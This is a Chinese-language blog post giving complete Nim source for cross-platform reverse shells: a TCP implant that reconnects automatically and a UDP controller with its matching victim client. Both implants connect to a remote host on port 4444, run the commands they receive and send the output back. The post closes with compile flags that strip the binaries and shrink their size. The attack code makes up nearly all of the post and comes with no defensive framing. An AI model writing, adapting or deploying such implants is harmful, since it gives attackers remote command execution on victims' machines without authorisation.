nim语言实现跨平台反弹shell
在网上看到这个Nim语言，Python的语法，C的性能，还能跨平台，写了两个反弹shell玩了一下。
一、tcp 反弹shell，代自动重连功能
import net
import osproc
import os
import strutils
var ip = "server.nixops.me"
var port = 4444
var args = commandLineParams()
if args.len() == 2:
ip = args[0]
port = parseInt(args[1])
while true:
var socket = newSocket()
try:
socket.connect(ip, Port(port))
while true:
try:
socket.send(system.hostOS & "_" & system.hostCPU & "> ")
var command = socket.recvLine()
var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
socket.send(result)
except:
socket.close()
break
except:
sleep(10000)
continue以上是被控端代码，控制端使用nc监听4444等待连接即可。
二、udp反弹shell
2.1 udp server控制端
import os
import strutils
import netty
var ip = "0.0.0.0"
var port = 4444
var args = commandLineParams()
if args.len() == 2:
ip = args[0]
port = parseInt(args[1])
var server = newReactor(ip, port)
echo "Listenting for UDP on " & ip & ":" & intToStr(port)
while true:
server.tick()
for connection in server.newConnections:
echo "[new] ", connection.address
for connection in server.deadConnections:
echo "[dead] ", connection.address
for msg in server.messages:
echo ">>> Receive Client MESSAGE: <<<", msg.data
echo msg.data
echo ">>> Client MESSAGE Finished !<<<"
for connection in server.connections:
var cmd = readLine(stdin)
if cmd.len > 0:
server.send(connection, cmd)
echo ">>> Success Send Command: " & cmd & " TO: ", connection.address2.2 udp 客户被控端
import net
import osproc
import os
import strutils
import netty
var ip = "server.nixops.me"
var port = 4444
var args = commandLineParams()
if args.len() == 2:
ip = args[0]
port = parseInt(args[1])
while true:
var client = newReactor()
var c2s = client.connect(ip, port)
client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
while true:
try:
client.tick()
var command = ""
for msg in client.messages:
command.add(msg.data)
if command.len > 0:
var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
client.send(c2s,result)
if client.deadConnections.len > 0 :
client.disconnect(c2s)
break
except:
sleep(10000)
continue三、编译
nim c -d:danger -d:strip --opt:size tcp.nim
nim c -d:danger -d:strip --opt:size udpc.nim
nim c -d:danger -d:strip --opt:size udps.nim四、总结
Nim优点： 好学、高性能、静态类型、跨平台、编译速度快
缺点也非常明显：生态比较差，标准库也不够完善，以上代码想用daemon方式运行就不行，标准库还没有实现